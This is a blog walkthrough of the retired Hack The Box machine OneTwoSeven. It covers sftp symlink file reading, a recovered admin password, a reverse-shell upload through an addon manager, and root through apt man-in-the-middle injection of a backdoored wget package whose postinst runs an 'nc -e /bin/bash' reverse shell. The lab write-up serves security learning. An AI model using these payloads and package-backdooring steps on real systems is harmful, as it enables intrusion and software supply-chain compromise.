Skip to main content

OneTwoSeven Writeup - Hack The Box (Retired)


OneTwoSeven is a creatively designed realistic box by Hack The Box user @jkr. The foothold for this Linux box craftily utilizes symbolic links and port forwarding through sftp to gain access to the admin interface. This ultimately leads to RCE and a shell after some addon-based web exploitation. For escalating to the root user, we take advantage of the available apt sudo commands while performing a man-in-the-middle package injection via http-proxy. I have seen a similar, if not the same attack (slide 26), executed as part of Red Team's arsenal at the National Collegiate Cyber Defense Competition.

Finding a Foothold

Initial Enumeration:

root@kali:~/htb/# nmap -sV -sC -oA nmap/OneTwoSeven

Starting Nmap 7.80 ( ) at 2019-08-08 22:04 AKDT
Nmap scan report for
Host is up (0.12s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
|   256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_  256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

Nmap indicates that this box hosts an Apache web server on port 80. Navigating the site, we notice that the server also provides static web hosting and gives us temporary sftp credentials to manage a personal static site when we sign up. The Fully Qualified Domain Name (FQDN) is onetwoseven.htb and can be added to our hosts file.

We also notice a disabled admin portal that is only accessible on port 60080.

We can connect to the server over sftp to find a limited set of available commands. We can also upload files to our site and access them in the provided temporary directory. Unfortunately, php extensions (php, php5, php7, phtml, and various others) are all blacklisted from the web interface. This most likely indicates that a php reverse shell is not the intended path.

root@kali:~/htb/OneTwoSeven# sftp ots-jMDVlZDY@onetwoseven.htb
ots-jMDVlZDY@onetwoseven.htb's password: 
Connected to ots-jMDVlZDY@onetwoseven.htb.
bye       cd        chdir     chgrp     chmod     chown     df        dir       exit      get       help      
lcd       lchdir    lls       lmkdir    ln        lpwd      ls        lumask    mkdir     mget      mput      
progress  put       pwd       quit      reget     rename    reput     rm        rmdir     symlink   version   
!         ?         
sftp> ls
sftp> cd public_html
sftp> ls
sftp> put test.php
Uploading test.php to /public_html/test.php
test.php                                                                     100%    0     0.0KB/s   00:00    
sftp> put test.html
Uploading test.html to /public_html/test.html
test.html                                                                    100%  123     1.1KB/s   00:00    

Local File Inclusion

Looking back at the available sftp commands, we notice one possible lead with symbolic links (symlink). A symlink is a pseudo-file that contains a reference to another file or directory in the form of an absolute or relative path (very similar to shortcuts on a windows system, but the linked object appears to actually reside in the path it was linked).

LFI actually works with symlinks! Our LFI access is, however, limitted. We cannot poison some of the more interactive items like php sessions or apache's access.log (403 forbidden). Either they do not exist or we do not have permissions to view it. We can, however, view the /var/www/ directory and explore its contents:

We find a file called login.php.swp with a swp extension (the last saved state of a file when edited) in the html-admin directory:

We can download this file and recover the last saved state of login.php with vim, then save the file:

vim -r login.php.swp
:w login.php

Viewing the admin portal's login.php source file, we find the administrator username and the sha256 password hash on line 78:

We can either crack the password with hashcat or reverse-lookup the hash in an online hash lookup repository (assuming this password in rockyou).

Username: ots-admin
SHA-256 Hash: 11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8
Password: Homesweethome1

Accessing the Admin Console via Dynamic SSH Tunneling

Because the sftp server does not allow us to authenticate and establish a console over ssh (passwd file indicates that our user does not have a shell), we can still dynamically port forward over SSH in combination with Burp Suite:

We use the -N switch to force SSH to not execute a remote command. This switch is specifically useful for just forwarding ports. After setting the proxy in our web browser, we can access the admin portal as if were the remote server's localhost:

Using the credentials we found earlier for the admin portal, we can sign in and investigate the interface and the available modules:

Acquiring user.txt and a Reverse Shell

Default OTS User

This user's credentials are somewhat easy-to-miss when getting access to the admin portal:

Signing in as this user over sftp reveals user.txt:

root@kali:~/htb/OneTwoSeven# sftp ots-yODc2NGQ@onetwoseven.htb
ots-yODc2NGQ@onetwoseven.htb's password: 
Connected to ots-yODc2NGQ@onetwoseven.htb.
sftp> ls
public_html  user.txt     
sftp> get user.txt
Fetching /user.txt to user.txt
/user.txt                                       100%   33     0.1KB/s   00:00    
sftp> exit
root@kali:~/htb/OneTwoSeven# cat user.txt 

Delivering the Reverse Shell Payload

Unfortunately the plugin upload feature is non-functional from the admin portal; however, we can reverse engineer a working payload if we dissect the source code of the OTS Add-on Manager:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
 # Upload addon to addons folder.
 case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
   $errors= array();
   $file_name = basename($_FILES['addon']['name']);
   $file_size =$_FILES['addon']['size'];
   $file_tmp =$_FILES['addon']['tmp_name'];

   if($file_size > 20000){
    $errors[]='Module too big for addon manager. Please upload manually.';

   if(empty($errors)==true) {
    header("Location: /menu.php");
    header("Content-Type: text/plain");
    echo "File uploaded successfull.y";
   } else {
    header("Location: /menu.php");
    header("Content-Type: text/plain");
    echo "Error uploading the file: ";
 # Download addon from addons folder.
 case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
  if ($_GET['addon']) {
   $addon_file = basename($_GET['addon']);
   if ( file_exists($addon_file) ) {
    header("Content-Disposition: attachment; filename=$addon_file");
    header("Content-Type: text/plain");
   } else {
    header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  echo "The addon manager must not be executed directly but only via<br>";
  echo "the provided RewriteRules:<br><hr>";
  echo "RewriteEngine On<br>";
  echo "RewriteRule ^addon-upload.php   addons/ots-man-addon.php [L]<br>";
  echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
  echo "By commenting individual RewriteRules you can disable single<br>";
  echo "features (i.e. for security reasons)<br><br>";
  echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";

Also, even though the button is disabled and non-functioning (links to a non-existing page), if we inspect the html and enable the button, we can build a template from the non-functioning request in Burp Suite's repeater functionality:

Referencing back to the php source code of the plugin manager, instead of posting to /addon-upload.php, we need to post to /addon-download.php, then call addons/ots-man-addon.php, and also include addon-upload.php as part of the request path. The absolute path of the filename should be specified with the addons folder like so /var/www/html/html-admin/addons/rshell.php:

Our payload was uploaded successfully! If we visit the URL of the add-on we added, we should be able to trigger the reverse shell:

After we upgrade our shell to a fully interactive TTY shell and some trivial enumeration, we notice that we can run sudo with apt-get update and apt-get upgrade:

www-admin-data@onetwoseven:/home$ id
uid=35(www-admin-data) gid=35(www-admin-data) groups=35(www-admin-data)
www-admin-data@onetwoseven:/home$ find / -name "user.txt" 2>/dev/null
www-admin-data@onetwoseven:/home$ sudo -l
Matching Defaults entries for www-admin-data on onetwoseven:
    env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass,

User www-admin-data may run the following commands on onetwoseven:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

Acquiring root.txt

Apt Man-in-the-Middle Package Injection

Escalating ourselves to a shell as root isn't too difficult if we follow somewhat verbatim the Backdooring a DEB Package section of this article. For our initial setup, we want to create a new proxy listener in Burp that redirects to a python web server that we host locally (Disable the SOCKS5 proxy before proceeding).

We should next set the http proxy for the environment and then determine which installed packages on the remote server that we want to hijack. Being at the bottom of the list, "wget" looks like a potential candidate.

www-admin-data@onetwoseven:/tmp$ export http_proxy=''
www-admin-data@onetwoseven:/tmp$ dpkg -l | grep wget
iF  wget          1.18-5+deb9u3          amd64          retrieves files from the web

We can also use wget to verify that our proxy listener is working. One thing to also pay attention to is the repository name that the host is looking for in the apt sources:

Our proxy listener works and the specific repo that our apt sources refer to is called devuan. We can create a fake repo of the same name by running the following on our local machine:

root@kali:~/htb/OneTwoSeven/www# mkdir devuan
root@kali:~/htb/OneTwoSeven/www# mkdir devuan/conf
root@kali:~/htb/OneTwoSeven/www# touch devuan/conf/distributions
root@kali:~/htb/OneTwoSeven/www# vim devuan/conf/distributions

Distributions File Contents

File distributions:
Origin: packages.onetwoseven.htb
Label: packages.onetwoseven.htb
Codename: ascii
Architectures: i386 amd64 source
Components: main
Description: fake

Download, decompress, and modify the wget deb package:

root@kali:~/htb/OneTwoSeven/www# wget
root@kali:~/htb/OneTwoSeven/www# dpkg-deb -R wget_1.18-5+deb9u3_amd64.deb wget_out
root@kali:~/htb/OneTwoSeven/www# vim wget_out/DEBIAN/postinst

Post Install Payload Script

nc -e /bin/bash 1337

Prepare a netcat listener on the localhost that will receive the shell and continue building the deb package:

root@kali:~/htb/OneTwoSeven/www# chmod 0555 wget_out/DEBIAN/postinst
root@kali:~/htb/OneTwoSeven/www# dpkg-deb -b wget_out wget_1.18-5+deb9u9_amd64.deb
root@kali:~/htb/OneTwoSeven/www# reprepro -b devuan/ includedeb ascii wget_1.18-5+deb9u9_amd64.deb

On the remote server, run the two commands with sudo and allow the package installation to continue without verification:

www-admin-data@onetwoseven:/tmp$ sudo apt-get update
www-admin-data@onetwoseven:/tmp$ sudo apt-get upgrade
root@onetwoseven:/# cat ~/root.txt

We have pwned root!
I have personally found this box to be one of my favorite boxes because of how realistic this box was and because how I have witnessed this simple MITM attack abused from a Blue Team perspective. The most challenging aspect of this box was constructing the web exploit payload, which was mostly just trial and error on my part. I personally found OneTwoSeven easier than most boxes with a hard rating, and especially easier than medium boxes like Unattended. I look forward to jumping at more boxes like this one.

Rayce Toms
Student Researcher


Popular posts from this blog

Bastion Writeup - Hack The Box (Retired)

Summary: Bastion was one of the first few easy boxes that initially introduced me to HackTheBox . Created by L4mpje , a security enthusiast and hobbyist hacker, this box covers realistic Windows environment misconfigurations like unauthenticated file-shares and vulnerable apps with insecure password storage. Finding a Foothold Initial Enumeration: root@kali : ~/htb/ # nmap -sV -sC -oA nmap/Bastion Starting Nmap 7.80 ( ) at 2019-09-05 13:31 AKDT Nmap scan report for Host is up (0.50s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) | ssh-hostkey: | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) |_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn

Unattended Writeup - Hack The Box (Retired)

Summary: Unattended is a challenging CTF-Like machine created by Hack The Box user @guly . This Linux box is surprisingly more difficult than most medium level boxes and truly tests SQL injection knowledge by forcing users to not entirely rely on automated tools, but to think creatively so they can manually "incept" nested queries to achieve LFI. This ultimately leads to RCE and a shell after log poisoning. With additional enumeration and subtle sysadmin knowledge, we are able to escalate to the root user. Finding a Foothold Initial Enumeration: root@kali : ~/htb/ # nmap -sV -sC -oA nmap/Unattended Starting Nmap 7.80 ( ) at 2019-08-22 19:45 AKDT Nmap scan report for www.nestedflanders.htb ( Host is up (0.20s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.10.3 |_http-server-header: nginx/1.10.3 |_http-title: Did not follow redirect to